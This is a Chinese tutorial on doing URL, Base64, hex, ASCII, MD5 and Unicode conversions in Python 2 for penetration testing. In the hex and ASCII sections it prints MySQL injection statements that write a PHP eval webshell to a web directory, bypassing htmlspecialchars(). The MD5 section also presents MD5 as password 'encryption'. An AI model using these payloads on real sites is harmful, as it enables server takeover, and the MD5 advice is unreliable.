Python 编码转换实战:从 URL 到 Unicode 的全覆盖指南
本文详细介绍如何利用 Python 进行常见的编码转换操作,涵盖 URL 编码、Base64、Hex 十六进制、ASCII 码及 Md5 哈希计算。通过具体代码示例,展示在 Web 安全和渗透测试场景中如何绕过过滤函数或处理乱码问题,帮助开发者高效解决日常编码处理需求。
前言
回顾初学阶段,处理编码转换时通常依赖搜索引擎查询“URL解码”、“Base64加密”或“Hex转换”,或者使用名为“小葵多功能转换工具”的软件,甚至直接利用 Burp Suite 的 Decoder 功能。尽管这些方式看似便捷,但仍存在效率瓶颈:在线工具耗时较长,搜索过程可能占据总时间的三分之二;部分本地工具如 Burp 在处理中文时偶尔会出现乱码显示问题。


随后,我开始转向使用 Python 作为日常编码转换的主要工具……
开启 Python 转换之旅
URL 编码
URL 编码是浏览器打包表单输入的标准格式,也是 Web 开发人员最为熟悉的编码方式之一。
>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'Base64
Base64 编码常用于网页表单和 HTTP 传输中的参数传递,同时也广泛应用于邮件协议中用户信息的传输。
>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'曾有一次 CTF 比赛中涉及 Base32 解密,由于多数网站不提供在线解密服务,导致解题一度受阻。然而,若使用 Python,其处理难度与 Base64 类似,仅需调整相应的函数即可轻松实现。
>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'Hex
十六进制编码是 Web 应用中常见的编码方案。对于 Web 安全人员而言,众所周知的是,MySQL 注入可通过 Hex 编码绕过 htmlspecialchars() 函数,进而写入 Webshell。
例如:
select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'
以下是使用 Python 实现 Hex 加解密的方法:
>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>ASCII
MySQL 中的 char() 函数用于转换 ASCII 码,利用这一特性同样可以绕过 htmlspecialchars() 函数的限制。
例如:
select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'
使用 Python 将字符串转换为 ASCII 码相对简单,但进行逆向转换(即从 ASCII 码还原字符串)则需要一些技巧:
>>> map(ord, "<?php phpinfo() ?>") [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62] >>> print chr(112) p >>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62] >>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法 <?php phpinfo() ?>
Md5
Md5 在 Web 安全领域广为人知,凭借其不可逆特性,大多数网站在存储用户密码等敏感数据时均采用 Md5 加密。在提交 Payload 需要 Md5 加密时,可使用下述方法轻松实现。若需解密,建议前往 cmd5 平台查询。
>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'
>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>Unicode 转中文
Unicode 转换为中文的场景十分常见,尤其在渗透测试过程中。使用 Burp 处理时可能出现中文乱码,而在 Python 中实现这一转换则非常简单。
>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646" 你需要重新登陆
总结
Python 在实际应用中极为便捷,编码转换仅是其众多功能之一。文中所述的编码转换方法均为笔者日常积累所得,若未涵盖您关注的领域,欢迎在评论区补充。以上就是本文的全部内容,希望这些内容能对您的学习或工作有所帮助。如有任何疑问,欢迎留言交流,感谢大家对本站的支持。
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













